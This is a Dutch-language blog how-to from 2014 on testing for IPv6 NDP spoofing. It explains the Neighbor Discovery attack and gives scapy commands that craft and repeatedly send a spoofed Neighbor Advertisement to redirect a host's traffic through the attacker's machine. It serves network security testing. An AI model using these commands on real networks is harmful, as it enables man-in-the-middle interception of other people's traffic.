vrijdag 14 februari 2014

HOW TO: Test NDP Spoofing

In deze kleine how to zal ik uitleggen hoe nu juist NDP spoofing in mekaar zit en hoe men het netwerk kan testen op zo een aanval. Voor deze test maken we gebruik van de scapy.py toolkit. Deze toolkit laat ons toe om zelf pakketjes op te stellen en te versturen naar een specifieke host. De bedoeling bij deze test is een NA (Neighbor Advertisement) pakket te maken en deze te versturen naar een device die een NS (Neighbor Sollicitation) pakket verstuurd.

De Attack gaat als volgt. In IPv6 kan men automatisch devices laten contact met elkaar leggen (en dus ook autoconfiguratie bereiken) via het Neighbor Discovery Protocol. Hierbij wordt door het nieuwe device NS pakketen gemulticast zodat de destination host met een NA pakket antwoord. Als wij nu zelf een pakket opstellen dat een malicious pakket verstuurd, kunnen we alle traffic tussen de nieuwe device en de destination host laten routen langs onze device. Hoe dit gebeurt kunnen we bekijken als we een NA pakket bekijken. Op het moment van het verzenden van de NS pakketen weet men nog niet welk layer 2 adres de destination host heeft (het MAC adres), door in ons pakket het MAC adres naar onze computer te laten verwijzen zal onze device als next hop worden aanzien en hebben we een succesvolle MITM attack uitgevoerd.

We beginnen bij het opstarten van scapy:
./scapy.py

Het eerste wat we moeten doen is ons Ehternet gedeelte invullen. Dit is nodig zodat het pakket weet van welk MAC adres het verzonden wordt, naar welk MAC adres het wordt verzonden. Dit pakket is een standaard Ethernet pakket, met gewoon een destination en source adres en een type field. Dit type field wordt door scapy zelf aangevuld als IPv6 door onze latere configuratie. Je vervangt natuurlijk de ETHDST en ETHSRC naar de respectievelijke MAC adressen

>>>eth=(Ether(dst='ETHDST', src='ETHSRC'))

Volgende stap is het aanmaken van het IPv6 pakket, aangezien een pakket over IPv6 versturen lijkt me dit redelijk noodzakelijk. Dit is ook nodig om verdere pakketten toe te voegen zoals het NA pakket. scapy zal alweer de meeste velden automatisch aanvullen, wij hoeven voor deze test gewoon onze source en destination adressen toe te voegen. Ook weer, 6ADRSRC en 6ADRDST veranders je door de respectievelijke source en destination adressen

>>>ipv6=IPv6(src=’6ADRSRC’, dst’6ADRDST’)

Volgende stap is het NA pakket zelf aanmaken. Hierin wordt weer veel voor ons automatisch aangevuld indien we dit wensen, wij moeten gewoon het tgt veld aanvullen, dit verwijst van welk MAC adres het pakket komt (onze malicious device) en het Reserved field. Dit 6-bit veld MOET door de verzender op 0 geplaatst worden om het pakket succesvol te versturen. Waarna de ontvanger dit pakket negeert. NXTHP is hier ons MAC adres van onze router

>>>na=ICMPv6ND_NA(tgt=’NXTHP’, R=0)
 
Het laatste gedeelte van ons pakket is een NDOpt waarbij we het Link Layer Adres meegeven. Dit zal wederom ons MAC adres zijn, zodat alle traffic effectief via ons zal worden verstuurd.
 
>>>lla=ICMPv6NDOptDstLLAddr(lladdr=’LLADR’)

Voor de controle van het pakket heft scapy een handige .display() tool, we zetten gewoon al onze onderdelen in de juiste volgorde.

>>>(ether/ipv6/na/lla).display()

Dit zou er als volgt moeten uitzien:

###[ Ethernet ]###  
dst= ETHDST
rc= ETHSRC  
type= 0x86dd

###[ IPv6 ]###   
version= 6   
tc= 0   
fl= 0   
plen= None   
nh= ICMPv6   
hlim= 255   
src= 6ADRSRC   
dst= 6ADRDST

###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###    
type= Neighbor Advertisement    
code= 0    
cksum= 0x0    
R= 0    
S= 0    
O= 1    
res= 0x0    
tgt= NXTHP

###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]###       
type= 2       
len= 1       
lladdr= LLADR

Uiteindelijk rest ons nog gewoon het versturen van het volledige pakket, iface specifieert langs welke interface, loop en inter specifieren dat het pakket iedere 5 seconden 1 keer wordt verzonden:

>>>sendp(eth/ipv6/na/lla, iface=’br0’, loop=1, inter=5)

Als we nu de ethernet poort zouden controleren en kijken naar welke neighbors deze is gelink, zul je zien dat voor de inject het MAC adres nog op de juiste destination host staat, en na het injecteren van het pakket het MAC adres op onze device staat. Wat dus wilt zeggen dat alle traffic succesvol langs ons gerout wordt.

Voor gedetailleerde uitleg over de verschillende pakketen, gelieve de volgende links van IETF te volgen:
http://tools.ietf.org/html/rfc4861#section-4.1
http://tools.ietf.org/rfc/rfc2464.txt

Referenties:
http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
Cisco Press: IPv6 Security by Eric Vynce hoofdstuk over NDP Spoofing

 






1 opmerking: